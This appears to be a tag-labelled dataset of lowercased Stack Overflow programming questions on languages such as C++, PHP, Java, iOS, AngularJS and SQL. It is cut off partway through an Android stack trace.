conversion a float-pointing types to a fraction  i have some float-pointing number (i don t know float is it  double or long double)  and i want to convert it to the fraction. i look at the <code>frexp</code> function  and i get mantissa and exponent of float-pointing type (fpt) number. i look at the <code>struct numbers_limits&lt;float  double or long double&gt;</code>  and i get this fields: <code>radix</code> (2)  <code>digits</code> (as i know  it is in the base <strong>radix</strong>)  <code>digits10</code>  <code>max_digits10</code>. i think to conversion i must use <code>max_digits10</code>  but i don t sure  and unfortunately my known of english do not let me understand which of this fields i must use to most accurate conversion. as i know  mantissa always have limited sum of bits  but in decimal base it is unlimited decimal fraction. <strong>anyway</strong>  how many digits in <strong>decimal</strong> representation of mantissa i must use to most accurate conversion from fpt to fraction     or maybe i must find in mantissa a period  and convert it to fraction as a periodic decimal number,c++
will this page cause memory leak？  i have a page of below   it loads a image for user and the url looks like  someurl/page.php path=a.jpg when people visit this page  i find the memory usage increases fast i m not sure if this page causes memory leak     <pre><code> &lt; php     $tar_path=urldecode($_get[ path ]);      $strs=preg_split( /\./  $tar_path);      $small_name = $strs[0]. _small. .$strs[1];      header( content-type: image/jpeg );      if(file_exists($small_name))     {         $psize = filesize($small_name );         $picturedata = fread(fopen($small_name   r )  $psize);         echo $picturedata;     }else     {         $im = imagecreatefromjpeg($tar_path);           $maxwidth = 150;           $maxheight = 0;           $pic_width = imagesx($im);           $pic_height = imagesy($im);              $widthratio = $maxwidth/$pic_width;           $resizewidth_tag = true;              $ratio = $widthratio;            $newwidth = $pic_width * $ratio;                      $newheight = $pic_height * $ratio;                  if(function_exists( imagecopyresampled ))           {               $newim = imagecreatetruecolor($newwidth $newheight);                imagecopyresampled($newim $im 0 0 0 0 $newwidth $newheight $pic_width $pic_height);            }           else           {               $newim = imagecreate($newwidth $newheight);               imagecopyresized($newim $im 0 0 0 0 $newwidth $newheight $pic_width $pic_height);           }            imagejpeg($newim $small_name);           imagedestroy($newim);           imagedestroy($im);         $psize = filesize($small_name );         $picturedata = fread(fopen($small_name   r )  $psize);         echo $picturedata;     }               &gt;   </code></pre>,php
file-to-file using vectors - null result  why have i got null in the text file test3.txt after read the elements of vectors correctly     the problem is that the test1.txt consists of the string words  when i printed out the vector elements  it is ok  but when i print these elements vector to another file the other file is still null.   <pre><code>import java.io.bufferedreader; import java.io.filereader; import java.io.filewriter; import java.io.ioexception; import java.util.vector; public class vectorfile {     public static void main (string args []) throws ioexception     {         vector vc = new vector();         bufferedreader file = new bufferedreader(new filereader( c://test1.txt ));         filewriter out = new filewriter( c://test3.txt );         string s;         while ((s = file.readline()) != null) {             vc.add(s);         }          file.close();          system.out.println(vc.size());          for(int i=0; i&lt;vc.size(); i++){             out.write( (string) vc.get(i));             }     } } </code></pre>,java
linkedlist add method  so im creating an add method for a linked list wich im making from scratch. i want the list to add items (nodes with int value) anywhere in the list. here is my code:    <pre><code>public void add(int val) {    node newnode = new node();    newnode.value = val;     if (head == null)    {        head = newnode;        current = newnode;    }     if (current.next == null)    {        current.next = newnode;        current = newnode;     }    size++; } </code></pre>   now  when i tried my program i noticed that i only can add values linear in the list. am i completely on the wrong side of the train     for example: <em>i have 3 elements in my list  1  7  9 and i want to add the item 2 to my list after element 1 </em>,c#
importing/including uiimage/uigraphics into objective c  im trying to get my head around objective c and struggling fast. im guessing what i am asking here is fairly rudimentary  but i cant seem to find the answers to my problems anywhere on stackoverflow  the mac developer library or the internet in general.    im trying to use the code from here: <a href= http://snipplr.com/view/23024/  rel= nofollow >http://snipplr.com/view/23024/</a> to import an image and display it.   <pre><code>uigraphicsbeginimagecontext </code></pre>   and   <pre><code>[img drawinrect:...] </code></pre>   are kicking up errors  namely  unknown name type uiimage  and  no visible @interface for  uiimage  declares the selector  drawinrect      looking <a href= http://developer.apple.com/library/ios/#documentation/uikit/reference/uiimage_class/reference/reference.html#//apple_ref/occ/instm/uiimage/drawinrect%3a  rel= nofollow >here</a> i can find that drawinrect is a method of uiimage. im guessing my problem is that the uiimage class cannot be found in my code.    so im trying to include it  or import it - and im just drawing a blank here - these lines of code dont work:   <pre><code>#import  uiimage  #import  uiimage.h  #include  uiimage  #include  uiimage.h  </code></pre>   they kick out  file not found  errors. i have no idea how to locate these files  im sure i am missing something really fundamental and simple  but cant find anything online that sheds any light on how to stop uiimage from being an  unknown name type .    can anyone help,objective-c
use :before and :after pseudo classes to insert tags  can i use pure css to insert html tags with the <code>:before</code> and <code>:after</code> pseudo classes. i am working with gravity forms which creates the form in a <code>ul</code> list.     i essentially want to insert my own wrappers with css for styling purposes. here is an example of what gravity forms puts out. i want to wrap <code>.foo</code> with a <code>div</code>   <pre><code>&lt;ul class= gform &gt;   &lt;li&gt;...&lt;/li&gt;   &lt;li class= foo &gt;...&lt;/li&gt; &lt;/ul&gt; </code></pre>   idea for the css...   <pre><code>.foo:before {   content:  &lt;div class= wrapper &gt; ; }  .foo:after {   content:  &lt;/div&gt; ; } </code></pre>,css
how to use a python program stored in a text file   i m making a troubleshooting program in which i need to take a python program which is stored in a text file  but i can t use the  import  module. to clarify this  there would be a python program stored as a  .txt  file  and in the main program i would take this text file and be able to use it as a subprogram. i ve tried doing this  but i have had no clue of how to go about it  especially since i do not have much experience of python. below is roughly the program. i don t know how to format it either  but here goes:   <pre><code>phonechoice = input( what type of phone do you have  )  if  iphone  in phonechoice:     #here i would load a text file which contains the program for the iphone     #which asks them what problem they have with their phone and gives a solution </code></pre>   i m wondering how i can do this. i thought how i could do this and maybe i could  copy and paste  the program  line by line  into a definition  which i could then use. would this work  and if it doesn t then in what other way could i do it,python
iphone network programming  i m new for ios programming. i want to send data to iphone via tcp/ip protocol using wifi network. i have already done with client to send data. i want to known iphone can be a server that receive data and display on the screen  server have to listening on port from client what would i suppose to use command or method  any suggestion,ios
app stops running when put into background  i am making a clock application; with a stopwatch and timer. when my app goes into the background (ie. the user goes onto the homescreen  switches to another app  or locks the phone)  the timer and stopwatch stop counting. i know several apps that continue working after it has been put into the background.     is there a setting i can change to keep it running,ios
shutil.rmtree to remove files only   i am using <code>shutil.rmtree</code> to remove a directory  but other processes (that i don t control) that create files in that tree are failing to create the files because the directories don t exist. is there something as easy as <code>shutil.rmtree</code> that only deletes files but preserves directory structure,python
rails 3 generator - automatically add files to svn  i have read that passing -c when running rails generate will add the new files/dirs to subversion to be committed but i have had no luck getting this to work    <pre><code>rails generate model -c </code></pre>   any ideas  or is this no longer available in rails 3,ruby-on-rails
a basic but tricky syntax in c  the foll basic code on gcc compiler outputs 3.    but when i replace the <code>{}</code> by <code>()</code> then it outputs 4   <pre><code>     int i={3 2 4};printf( %d  i);  </code></pre>   can someone explain this behaviour  the <code> </code> operator follows left to right evaluation but it doesn t in case of <code>{}</code>.,c
select query in sql  i have a very curious question. we have query to select records from table based on some condition. in general the syntax for the query is as below   <pre><code>select * from tablename where columnname= value ; </code></pre>   now the question is that will this query will work if we interchange the position of <code>columnname</code> and <code> value </code>.,sql
play videos with iframe in html  when want to play video it is only downloading.<br> here code   <pre><code>&lt;iframe src= videos/1.mp4   width= 540  height= 310 &gt;&lt;/iframe&gt; </code></pre>   the result when load the page  <a href= https://i.stack.imgur.com/ulu9q.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ulu9q.png  alt= image when i load page ></a>    what is solution to play the video with iframe not with video tag,html
dom won t update until after clicking page - $scope.$apply  i have an app where data is pushed into the angular framework from an outside service using:   <pre><code>$window.createaccount = function(success  data){     createaccountservice.setmessage(success data); } </code></pre>   in my service  i store a callback function and use it when createaccountservice.setmessage is called.    the data is successfully passed through the service to the controller:   <pre><code>$scope.setmessage = function(success json){         console.log( setmessage:  success);         $scope.errormsg =  create account successful : +success+ - +json;         $scope.$apply();     } </code></pre>   my console.log traces accurately and $scope.errormsg is set but the $scope.$apply() doesn t seem to be set until the user clicks anywhere on the page.    i m a little boggled by this  because my approach works elsewhere.    any thoughts,angularjs
matrix data in python  i was trying to progressively subtract values of a 3d matrix. the matrix looks like:   <pre><code>atom 1223 zx sod a 11 2.11 -1.33 12.33 atom 1224 zy sod a 11 -2.99 -2.92 20.22 atom 1225 xh hel a 12 -3.67 9.55 21.54 atom 1226 ss arg a 13 -6.55 -3.09 42.11 ... </code></pre>   here the last three columns are representing values for axes x y z respectively. now i what i wanted to do is  take the values of x y z for 1st line and subtract with 2nd 3rd 4th line in a iterative way and print the values for each axes. i was using:   <pre><code>for line in map(str.split inp):     x = line[-3]     y = line[-2]     z = line[-1] </code></pre>   for separating the values  but how to do in iterative way. should i do it by using <code>counter</code>.<br> expected output:<br> for line1 vs line2: <code>5.1 1.59 -7.89</code><br> for line1 vs line3: <code>5.78 -10.88 -9.21</code><br> ...so on.,python
single view template for multiple request formats  i am involved in the build of an html5 app and we have created a custom mime type (mobile) for iphone  android etc. so for example we have index.html.haml and index.mobile.haml. in many cases the output will be the same - so my question is  how can i create a view file that is used by both mobile and html request formats  and in the cases where the view is different  select the correct html or mobile view     i have been digging and can t seem to find a clean and elegant solution.,ruby-on-rails
trying to trace an error in xcode  when i start up my application i get the error detailed below. if i continue the application everything seems to be working fine. the error is raised between the calls to applicationwillfinishlaunching and applicationdidfinishlaunching.    i suspect the eror is getting generated when the xib is being loaded  however i can see nothing wrong with the xib and how it is connected up. can anyone give me some tips on how i can trace back to find the source of the error     thanks    <pre><code>2012-08-21 11:31:55.293 conjugationviewer[32508:707] *** assertion failure in -[nstextfieldcell _objectvalue:forstring:errordescription:]  /sourcecache/appkit/appkit-1138.47/appkit.subproj/nscell.m:1564 2012-08-21 11:31:55.303 conjugationviewer[32508:707] ignoring exception raised in __-[nspersistentuimanager restoreallpersistentstatewithtalagentwindows:registeringasreadywhendone:completionhandler:]_block_invoke_3: invalid parameter not satisfying: astring != nil </code></pre>,objective-c
creating dom tree using recursion <pre><code>var div =  {   element: div     parent: body       style: {     width: 100px       height: 100px         border: 1px solid black    }    child: {     element: input       type: text       name: age       value: 22    } } </code></pre>   i want to pass this object to a function and the function will recursively  create the dom elements    there is a main div and there is a child element input associated with it. the main div has some style which is also applied dynamically.    how can i do this,javascript
if statement with two actions on a single line  im trying to reset $i to 0 and print the word margin...is this doable the way im trying to pull it off    <pre><code> class= customgal .($i ==  2    $i =  0  &amp;&amp;  margin  : null).   </code></pre>   thanks in advance.,php
alert  is not defined when running www.jshint.com  i fixed this by simply adding <code>var alert;</code>  however  is this what i should be doing to get the pesky error message to go away   here is the fix.  here is the fail on <a href= http://www.jshint.com/reports/71017  rel= noreferrer >www.jshint.com</a>.    i m trying to learn from the error it throws..not necessarily make them go away.   <pre><code>(function () {   use strict ;  var alert;  //  added this in to fix  function initialize_page()   {   alert ( hi );   }  addeventlistener( load   initialize_page);  })(); </code></pre>,javascript
angularjs can t write whole array  can someone tell me why i can t print out whole array author which is in boardcards      <a href= https://plnkr.co/edit/abzmti7fsj6sx691ubm0 p=preview  rel= nofollow noreferrer >https://plnkr.co/edit/abzmti7fsj6sx691ubm0 p=preview</a>    <pre><code>   &lt;ul ng-repeat= card in assignedcards &gt;         &lt;div&gt;             {{card.name}}  {{card._id}}         &lt;/div&gt;           &lt;li ng-repeat= item in card.boardcards.author &gt;{{item}}&lt;/li&gt;       &lt;/ul&gt;    </code></pre>   and here is object   <pre><code>:    $scope.assignedcards = {      _id  :  59e36c44b89e5f2fb01d1310        name  :  1        boardcards  : {          name  :  1            _id  :  59e36c48b89e5f2fb01d1312            author  : [              59df60fb6fad6224f4f9f22e               59df60fb6fad6224f4f9f22f               59df60fb6fad6224f4f9f22a           ]     } } </code></pre>   <strong>edit</strong>    i use ur examples but still dont print out authors  this authors is array of strings maybe this is reason      its with model mongoose   <pre><code>  lists : [{      list: string      cards: [{        name: string        author: [{type : schema.types.objectid  ref:  user }]     }]   }]  </code></pre>   maybe here is problem,angularjs
rails controller adding quotation marks  i have an openstruct object:    <code>[#&lt;openstruct date= 20150602   pageviews= 46 &gt;  #&lt;openstruct date= 20150603   pageviews= 44 &gt;]</code>    in my view  i need to render in a format to be used for charting  so something like <code>[[ 20150602   46]  [ 20150603   44]]</code>    in my view  i can achieve this with something like:   <pre><code>-@visits.map do |v|   = [#{v.date}  #{v.pageviews}]   </code></pre>   and it works just fine. but i want it in the controller  so i don t need all that code in the view and i can just insert it into the data.    so i try this line in the controller:   <pre><code>@visits_mapped = @visits.map {|v|  [#{v.date}  #{v.pageviews}]  } </code></pre>   however  now a whole new bunch of quotation marks have been added in when i print <code>@visits_mapped</code> in the view  for no apparent reason:   <pre><code>[ [20150602  46]     [20150603  44]  ] </code></pre>   why would the behaviour change between the view and the controller like this  forgive me if this is a stupid question...,ruby-on-rails
align submenu of a dropdown menu horizontal  i am unable to align my submenus from vertical to horizontal    here is my css code of drop down menu.    i have tried floating left and postition variations  but it doesn t worked.    do reply quick as soon as possible.   <pre><code>.ddsmoothmenu{ margin-top: 20px;  }  .ddsmoothmenu ul{ z-index:100; margin: 0; padding: 0;  list-style-type: none;      }     /*top level list items*/ .ddsmoothmenu ul li{ position: relative; display: block; float: left; vertical-align: inherit;     }   /*top level menu link items style*/  .ddsmoothmenu ul li a { display: block; height: 23px; width: 100px; margin-left: 5px; line-height: 23px; font-size: 13px; font-family: verdana  geneva  sans-serif; color: #a9a2a2; text-align: center; text-decoration: none; font-weight: 400; outline: none;    }      * html .ddsmoothmenu ul li a{ /*ie6 hack to get sub menu links to behave       correctly*/    display: inline-block;   }   .ddsmoothmenu ul li a.selected  .ddsmoothmenu ul li a:hover { /*css class that s    dynamically added to the currently active menu items  li a element*/      color: #f00;      background: url(../images/templatemo_menu_hover.png)  }  /*1st sub level menu*/ .ddsmoothmenu ul li ul { position: absolute; width: 160px; margin: 10px 0 0 5px; left: 0; display: none; /*collapse all sub menus to begin with*/ visibility: hidden; background: url(../images/templatemo_smm.png) repeat-y  }   .ddsmoothmenu ul li ul span.top { position: absolute; width: 160px; height: 5px; top: -5px; left: 0;  background: url(../images/templatemo_smt.png) no-repeat; }  .ddsmoothmenu ul li ul span.bottom { position: absolute; width: 160px; height: 5px; bottom: -5px; left: 0;  background: url(../images/templatemo_smb.png) no-repeat; }   /*sub level menu list items (undo style from top level list items)*/   .ddsmoothmenu ul li ul li{ display: list-item; float: none; }   /*all subsequent sub menu levels vertical offset after 1st level sub menu */  .ddsmoothmenu ul li ul li ul{  top: 0;  }   /* sub level menu links style */  .ddsmoothmenu ul li ul li a{ font-weight: 500; width: 140px; /*width of sub menus*/ height: 28px; line-height: 28px; margin: 0 10px; font-size: 12px; text-align: left; background: none; color: #a9a2a2; border-bottom: 1px solid #151515   }   .ddsmoothmenu ul li ul li .last { border-bottom: none;  }   .ddsmoothmenu ul li ul li a.selected  .ddsmoothmenu ul li ul li a:hover { color: #f00; width: 129px; margin-left: 11px; background: none;  }    /* holly hack for ie \*/  * html .ddsmoothmenu{height: 1%;} /*holly hack for ie7 and below*/     /* ######### css classes applied to down and right arrow images  ######### */   .downarrowclass{  position: absolute;  top: 12px;   right: 7px;   }   .rightarrowclass{   position: absolute;   top: 6px;   right: 5px;    }   /* ######### css for shadow added to sub menus  ######### */  .ddshadow{  position: absolute;  left: 0;  top: 0;  width: 0;  height: 0;  }  .toplevelshadow{ /*shadow opacity. doesn t work in ie*/  opacity: 0.5;   }   /* menu */ </code></pre>,css
how to set attribute with angularjs without html encoding  i need to set a title attribute of an html element using angularjs. the variable contains a  &amp;  character. this character is encoded (or  sanitized ) by angularjs.    here is an example:   <pre class= lang-html prettyprint-override ><code>ng-attr-title= {{mymessage}}   mymessage =  first line.&amp;#13;second line  </code></pre>     the result is :    <pre class= lang-html prettyprint-override ><code> first line.&amp;amp;#13;second line  </code></pre>     the desired result is :    <pre class= lang-html prettyprint-override ><code> first line.&amp;#13;second line  </code></pre>     how can i achieve this result using angularjs       edit:    i need to add custom text inside a title attribute  like this:   <pre class= lang-html prettyprint-override ><code>&lt;img src= tooltip.png  title= {{mymessagewithspecialcharacyers}}  /&gt; </code></pre>,angularjs
"how to get a responsive web site with a border fieldset  hi i have a problem on my website from mobile. the desktop view is ok <a href= https://i.stack.imgur.com/vvyet.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vvyet.png  alt= desktop view ></a>    <a href= https://i.stack.imgur.com/bsc7h.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bsc7h.jpg  alt= mobile view ></a>    here s a stack snippet of the page:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>@import url(https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css);
 
 .campiricettapersonale{
   margin-left: 7%;
   margin-right: 7%;
   padding-top: 10%;
   height: 100%;
 }
 .bordfieldset{
   padding-top: 1px;
   padding-left: 50px;
   padding-right: 50px;
   padding-bottom: 30px;
   border: 1px white;
   border-radius: 9px;
   box-shadow: 0 0 8px rgba(0  0  0  0.5);
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= campiricettapersonale &gt;
           &lt;div class= nomericetta current &gt;
             &lt;fieldset class= bordfieldset &gt;
               &lt;h2 class= well titolo &gt;non perdere tempo crea ora la tua ricetta!&lt;br&gt; per iniziare specifica un nome&lt;/h2&gt;
               &lt;div class= row &gt;
                 &lt;div class= col-md-8 &gt;
                   &lt;div class= form-group  id= nomericettain &gt;
                     &lt;input name= nomericetta  id= nomericetta  type= text  class= form-control  placeholder= nome della tua ricetta &gt;
                   &lt;/div&gt;
                   &lt;span class= help-block  id= nomericettaerror &gt;&lt;/span&gt;
                 &lt;/div&gt;&lt;!--fine div col--&gt;
                 &lt;div class= col-md-4 &gt;
                   &lt;select name= tipopiatto  class= form-group form-control  id= tipopiatto &gt;
                     &lt;option selected value= selezionare la tipologia del piatto  &gt;selezionare la tipologia del piatto&lt;/option&gt;
                   &lt;/select&gt;
                 &lt;/div&gt;&lt;!--fine div col--&gt;
               &lt;/div&gt;
               &lt;input type= button  name= next  class= btn btn-success next btndx  value= successivo  /&gt;
             &lt;/fieldset&gt;
           &lt;/div&gt;&lt;!--fine div nomericetta step 1--&gt;
           &lt;/div&gt;
   </code></pre>
 </div>
 </div>",css
select where value exists more than once  i am currently working on a project and have run into a problem. i need to display countries where the spoken language is the same in ascending order by language. my problem is that it will only display one row. my code so far.   <pre><code>select country  language  population  count(*) from demographics group by language asc having count(*) &gt; 1; </code></pre>   i want to display only the countries that share a common language  so if i had united states  and england both having english  and portugal  and brazil having portuguese  i want only those four rows to be displayed.      any help would be greatly appreciated.,mysql
overlaying a transparent png on top of the current location blue dot  i m just playing around with apple s currentaddress sample code and i was trying to use the trueheading property to determine the direction the user is facing. while that proved simple enough  i wanted to display a transparent png on top of the current location dot and i wanted to rotate it in order to simulate a compass.    here s the very basic code i ve currently got:   <pre><code>@implementation mapviewcontroller  @synthesize mapview  reversegeocoder  getaddressbutton;  - (void)viewdidload {     [super viewdidload];     mapview.showsuserlocation = yes; }    - (ibaction)reversegeocodecurrentlocation {     self.reversegeocoder =         [[[mkreversegeocoder alloc] initwithcoordinate:mapview.userlocation.location.coordinate] autorelease];     reversegeocoder.delegate = self;     [reversegeocoder start]; }  - (void)reversegeocoder:(mkreversegeocoder *)geocoder didfailwitherror:(nserror *)error {     nsstring *errormessage = [error localizeddescription];     uialertview *alertview = [[uialertview alloc] initwithtitle:@ cannot obtain address.                                                          message:errormessage                                       cancelbuttontitle:@ ok                                                otherbuttontitles:nil];     [alertview show];     [alertview release]; }  - (void)reversegeocoder:(mkreversegeocoder *)geocoder didfindplacemark:(mkplacemark *)placemark {     placemarkviewcontroller *placemarkviewcontroller =         [[placemarkviewcontroller alloc] initwithnibname:@ placemarkviewcontroller  bundle:nil];     placemarkviewcontroller.placemark = placemark;     [self presentmodalviewcontroller:placemarkviewcontroller animated:yes]; }  - (void)mapview:(mkmapview *)mapview didupdateuserlocation:(mkuserlocation *)userlocation {     // we have received our current location  so enable the  get current address  button     [getaddressbutton setenabled:yes];     nsstring *north = [nsstring stringwithformat:@ %f   self.mapview.userlocation.heading.trueheading];     nslog(@ here: %@   north); }  @end </code></pre>   how can i overlay the png to the exact position of the blue dot and keep it there (following the dot if the user moves  that is),ios
math.sign with object parameter  what is the best (fastest) way to determine a sign of a numeric value passed in as object  just to make it clear  the value might be an int  double  decimal or anything else comparable to 0. so we need math.sign analogue with object parameter in.    the solution needs to take into account boxing/unboxing concerns as well.,.net
c# currency to string  i am querying a database field that returns a money value  i am assigning this to a string but it is adding extra 00 on the end.    e.g. query returns <code>30.00</code>    i assign this to a string (<code>string value = convert.tostring(returnvalue);</code>) but when i output it  it is showing as <code>30.0000</code>    can you advise me where i m going wrong and the best way to approach this,c#
local variable inside the loop or outside the loop <pre><code>void main(){    int a=1;     for(int i=0;i&lt;10;i++){       int b=2;    } } </code></pre>   in the loop  variable b will be created every time in the loop right   if so  i check the address of variable b by using &amp; operation and found that address is exactly the same. if it s not recreated  the b should be still in the stack. every time it will declare a new variable b in the loop. why no redefinition error happened here,c++
how to free a pointer after it returned its content  here is my code  how can i free <code>new_double_size</code> after it is called. i am a beginner in c  so thanks for help.   <pre><code>size_t get_doubled_size(vector *vtr  size_t new_size){    size_t *new_double_size = malloc(sizeof(size_t));    *new_double_size = vtr -&gt; capacity;    while(new_size &gt; *new_double_size){      *new_double_size *= 2;    }    return *new_double_size; } </code></pre>   and in another place  i call this like:   <pre><code>int doubled_size = get_doubled_size(....); </code></pre>,c
using a button to open a link in a new tab/window in asp.net  i’m trying to use a button click to open a page in a new tab/window.  i’ve looked at solutions similar to <a href= https://stackoverflow.com/questions/6248702/redirecting-new-tab-on-button-click-response-redirect-in-asp-net-c-sharp >this</a>  but the answers given there are either to use a link or have it open in the same window.  i need to use a button because it needs to generate the link based on criteria data entered in the form (string manipulation).  this button is not submitting the form though; it’s just validating some of the data on an external site.  i need this in a different window or tab so they can go back and forth between my form and the validation site.  this is basically my current <code>button_click</code> event:   <pre><code>var address = addresstextbox.text.trim(); address = address.replace(      + ); var url =  http://www.example.com/query text=  + address +  &amp;param1=foo&amp;param2=bar ; response.redirect(url); </code></pre>   this works except that <code>response.redirect(url)</code> only opens in the same window  not a new one.,asp.net
plist/document directory is null when reading plist  i just want to replace static plist data to dynamic.this is my code   <pre><code>nserror *error; nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); nsstring *documentsdirectory = [paths objectatindex:0]; nsstring *docdirpath = [documentsdirectory stringbyappendingpathcomponent:@ sample.plist ]; nsfilemanager *filemanager = [nsfilemanager defaultmanager]; if(![filemanager fileexistsatpath: docdirpath]) {     nsstring *bundle = [[nsbundle mainbundle] pathforresource:@ sample  oftype:@ plist ];       [filemanager copyitematpath:bundle topath:docdirpath error:&amp;error];      nslog(@ plist is copied to directory ); } </code></pre>   i have some data in event array but its not writing/reading can you please suggest me where i am wrong.   <pre><code>nslog(@ data coming from server....%@  self.eventdataarray);          //writing array to document directory         nsarray *docpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);         nsstring *documentsdirectorypath = [docpaths objectatindex:0];         nsstring *path = [nsstring stringwithformat:@ %@/sample.plist   documentsdirectorypath];         [self.eventdataarray writetofile:path atomically:yes];          nslog(@ plist path string....%@  path);           //reading from document directory         nsmutablearray *readingarray=[[nsmutablearray alloc] initwithcontentsoffile:path];          nslog(@ plist reading data is here......%@  readingarray); </code></pre>,objective-c
jquery file upload validation are not working  code:   <pre><code>&lt;script src= https://code.jquery.com/jquery-1.11.1.min.js &gt;&lt;/script&gt; &lt;script src= https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js &gt;&lt;/script&gt; &lt;script src= https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js &gt;&lt;/script&gt; &lt;script&gt;     $(  #myform  ).validate({         rules: {             user_image: {                 required: true                  extension:  jpeg|jpg|png              }              user_resume:{                 required:true                  extension:  docx|doc              }         }     }); &lt;/script&gt; &lt;form method= post  id= myform  enctype= multipart/form-data &gt;     &lt;input type= file  name= user_image  id= user_image &gt;     &lt;input type= file  name= user_resume  id= user_resume &gt; &lt;/form&gt; </code></pre>   in this code i have create a simple form where i have two input field type is file. in first input field i want to validate user_image with jpeg|jpg|png extension similarly in case of user_resume input field i want to validate with docx|doc extension file but this is not working yet. i do t know why. so  how can i do this  please help me.    thank you,jquery
how to run iphone application from xcode 4 and ios sdk 4.3 for jailbroken iphone  i have developed an iphone application and would like to test it on my personal iphone without paying 99$.    i m using xcode 4 and ios sdk 4.3 on vmware snow leopard 10.6.7.    i have followed all steps described in <a href= http://www.alexwhittemore.com/ p=398  rel= nofollow >http://www.alexwhittemore.com/ p=398</a>  all points succeeded but with no result i couldn t run my application on real device. the application build succeeded for ios 4.3 device but i couldn t run.    please could anyone help me to solve the problem.    thanks in advance.,iphone
how to handle the nsstring starts with  \0   i have a nsstring starts with  \0   then i read it and wants to do some action with this nsstring  but i found the length is not 0 and the content is nothing.   <pre><code>nsstring *str = @ \0afasfsafsda ;  // some string read from a file nslog(@ %@  str);  //output nothing nslog(@ %@   [str length]); //12 </code></pre>   right now i want to check wheather a nsstring is this type  how to do this    <pre><code>if([str isequalto:@  ] &amp;&amp; [str length]== )  </code></pre>,objective-c
asp.net role based authentication for form data  i have an asp.net 4 webforms project. i have a form for managing existing users in the app  but some of the options may be grayed out or hidden for some users depending on their role within the application (admin  user  etc). e.g. an admin can change a user s role from a drop down list  but a normal user would see the drop down list grayed out (or possibly hidden).     of course  on the postback i can have a big function that checks all the conditions like  if a user less than admin modified property x  then ignore saving that change.  there may be a list of several of these checks for a single form.     but is there a better way in asp.net to handle this type of thing,asp.net
c# method must have a return type (not void error)  i m new to c# and i can t figure out this error. so help me please understand why this error appears.   <pre><code>    class test     {       private string z;       private string message;       public test()      {          z =  123 ;          message =  qwe   + z;      }         public meth1() {             return message;         }     }     class program     {       static void main(string[] args)         {             console.writeline(test.meth1());             console.readkey();         }     } </code></pre>   method must have a return type @ 12,c#
using log4net.dll and facing version difference  i have added log4net in my project and it is giving me this error in local system as well as server. can someone please tell me how to get rid of it    <blockquote>    could not load file or assembly  log4net  version=1.2.15.0  culture=neutral  publickeytoken=669e0ddf0bb1aa2a  or one of its dependencies. the located assembly s manifest definition does not match the assembly reference. (exception from hresult: 0x80131040)  </blockquote>,.net
how to get apk s name but not yet installed in device   i want to get the name of apk that apk not yet installed in device.that apk just store in sd card this kind of apk s name how to get .    thanks all,android
return values in javascript functions  i was reviewing variable accessibility in functions vs. the global scope and came across something new and wondered if the following is correct:   <pre><code>function foo (){     message= hi  } alert(message); //referenceerror: message is not defined </code></pre>   this returns an error because <code>foo</code> hasn t been called anywhere yet  but once you do  it s available in the global space. got it.    however i read somewhere besides explicitly making functions return a value (i.e. using the return keyword) we use them for their side-effects (e.g. imagine i put that alert function inside foo i just referenced).    so is the above somehow returning the value the same way it would when using the <code>return</code> keyword     <strong>update</strong> i am getting a lot of feedback but perhaps i should restate the question. is the mere fact of calling the function putting it in the global scope. like what is happening behind the scenes...  i think some people may think (as i did) by simply omitting the var  it s in the global scope. actually  for those who don t know  you have to call the function first. thanks!,javascript
seekbar set progress throwing null pointer exception  i am using a seekbar for zoom control of a custom camera app.  my app at times removes the camerapreview and upon re- adding the camerapreview i want to reset the progress of my seek bar.     <pre><code>public void restartcam() {          //zoomctrl.setverticalscrollbarposition(0x00000000);         campreview = new camsurfaceview(this.getapplicationcontext()  camface);         frame.addview(campreview);         zoomctrl.setprogress(0);     } </code></pre>   but i get a null pointer:   <pre><code>12-03 12:18:54.319: e/androidruntime(15805): fatal exception: main 12-03 12:18:54.319: e/androidruntime(15805): java.lang.nullpointerexception 12-03 12:18:54.319: e/androidruntime(15805):    at com.sapientnitro.lcinstore2.view.camsurfaceview.zoomto(camsurfaceview.java:120) 12-03 12:18:54.319: e/androidruntime(15805):    at com.sapientnitro.lcinstore2.activities.customcamera.onprogresschanged(customcamera.java:643) 12-03 12:18:54.319: e/androidruntime(15805):    at android.widget.seekbar.onprogressrefresh(seekbar.java:89) 12-03 12:18:54.319: e/androidruntime(15805):    at android.widget.progressbar.dorefreshprogress(progressbar.java:609) 12-03 12:18:54.319: e/androidruntime(15805):    at android.widget.progressbar.refreshprogress(progressbar.java:621) 12-03 12:18:54.319: e/androidruntime(15805):    at android.widget.progressbar.setprogress(progressbar.java:670) 12-03 12:18:54.319: e/androidruntime(15805):    at android.widget.progressbar.setprogress(progressbar.java:651) 12-03 12:18:54.319: e/androidruntime(15805):    at com.sapientnitro.lcinstore2.activities.customcamera.restartcam(customcamera.java:568) 12-03 12:18:54.319: e/androidruntime(15805):    at com.sapientnitro.lcinstore2.activities.customcamera.cameraon(customcamera.java:435) 12-03 12:18:54.319: e/androidruntime(15805):    at com.sapientnitro.lcinstore2.activities.customcamera$5.onclick(customcamera.java:317) 12-03 12:18:54.319: e/androidruntime(15805):    at android.view.view.performclick(view.java:3558) 12-03 12:18:54.319: e/androidruntime(15805):    at android.view.view$performclick.run(view.java:14157) 12-03 12:18:54.319: e/androidruntime(15805):    at android.os.handler.handlecallback(handler.java:605) 12-03 12:18:54.319: e/androidruntime(15805):    at android.os.handler.dispatchmessage(handler.java:92) 12-03 12:18:54.319: e/androidruntime(15805):    at android.os.looper.loop(looper.java:137) 12-03 12:18:54.319: e/androidruntime(15805):    at android.app.activitythread.main(activitythread.java:4514) 12-03 12:18:54.319: e/androidruntime(15805):    at java.lang.reflect.method.invokenative(native method) 12-03 12:18:54.319: e/androidruntime(15805):    at java.lang.reflect.method.invoke(method.java:511) 12-03 12:18:54.319: e/androidruntime(15805):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:790) 12-03 